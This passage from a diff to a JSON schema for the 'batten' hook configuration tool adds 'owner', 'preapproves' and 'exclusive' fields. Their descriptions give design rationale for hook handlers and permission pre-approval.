rule for\n`action`'s reason: a handler declared once should run on every host that\noffers the moment, and keying it on one host's spelling would silently\nnot run on another's.", "type": "string" }, + "owner": { + "description": "The issue that owns retiring this handler (CLOUD-984).\n\n**A handler is an antipattern with a ratchet, never a destination.** The\ndoor makes a dispatched program safe — a bound, central fail-open, a\nstated output shape — and none of that makes it *policy*. A predicate\nliving behind a spawn is one the committed authority cannot be read to\ndiscover, so every handler is a debt somebody owes, and this column is\nwhere the creditor is named.\n\nAbsent is not refused at load, deliberately — see\n[`Handler::transitional_defect`] for why the enforcement is tree-scoped.", + "type": [ + "string", + "null" + ] + }, + "preapproves": { + "description": "Whether this handler's advisory is a **pre-approval** rather than a note.\n\nCLOUD-191's channel, and the reason it is a column rather than a new exit\ncode: §7's table is `0/1/2/3` with no per-kind exception, and\n[`Outcome::Advise`] already occupies exit `0` with output. A third meaning\ndistinguished by the *shape* of stdout is exactly what [`impersonates_host`]\nrefuses, so the capability is DECLARED here and the channel stays the exit\ncode the handler already has. A row without this behaves exactly as it does\ntoday, and no new vocabulary enters the stream.\n\n**What it buys.** `connector-allow-guard` reads the session's injected MCP\nconfig to learn which of a server's two names — readable or UUID — is live\nthis session, and applies the committed verdict to the live spelling. Its\nallow arm has to reach the host as `permissionDecision: \"allow\"` or the\noperator is prompted for a grant they already wrote down.\n\n**What it cannot buy.** A pre-approval only ever upgrades a decision that\nwas already an allow; the boundary enforces that rather than trusting it, so\nno handler can spend a refusal the engine's own rows reached. And it is\nrefused at load on any event whose host does not honour one, because a\ndeclared grant that lands nowhere is indistinguishable from this handler\nnever having run.", + "type": "boolean" + }, "run": { "description": "The command, as argv. Never a shell string.\n\nargv rather than a command line so there is no quoting layer between what\nan operator wrote and what runs: no word splitting, no glob expansion, no\ncommand substitution.", "type": "array", @@ -1305,6 +1323,10 @@ "$ref": "#/$defs/Action" } }, + "exclusive": { + "description": "Whether this repository declares its hook surfaces **exclusively**\nbatten's: one `batten hook` registration per emitted event, and no other\ncommand registered natively beside it (CLOUD-893).\n\n**A DECLARATION, and that is what makes it expressible at all.** Whether a\nhook beside batten's is legitimate is a consumer's judgement — the reason\n[`crate::doctor::HarnessWiring::siblings`] gives for being a count and\nnever a failure — so the engine may not decide it. What the engine CAN do\nis enforce what a consumer decided, and this is where that decision is\nwritten down. Naming the invariant in `crates/batten` while leaving the\nchoice to the config is what keeps non-negotiable rule 1 intact.\n\n**Raise-only (house-style §8), which is the whole difference between this\nand a waiver.** Absent or `false` is today's behaviour, so no adopter\ninherits a verdict by upgrading; `true` can only ever ADD refusals. That\nis categorically unlike a declaration that suppresses one — a sibling\ntable naming an issue that will retire each entry reads as diligence and\nfunctions as a permanent exemption, and it is what let this repository\nreport green over ten non-batten registrations.\n\nIt says nothing about handlers: a `[[hook.handler]]` runs BEHIND `batten\nhook` rather than beside it, so it is not a native registration and this\nflag never refuses one.", + "type": "boolean" + }, "handler": { "description": "The declared handlers, in declaration order (CLOUD-898).\n\nOrder is the running order, and it decides which of two refusals is\nreported — so a reader predicts it from the file rather than from a rule,\nexactly as `action`'s firing order is.\n\nA SECOND NOUN IN THE SAME TABLE, not a widening of the first. An action\nis a side effect that cannot change the answer; a handler participates in\nthe decision. They share `[hook]` because they answer the same question —\nwhat does this repository attach to hook events — and stay separate\nbecause they make opposite promises about the answer.", "type": "array",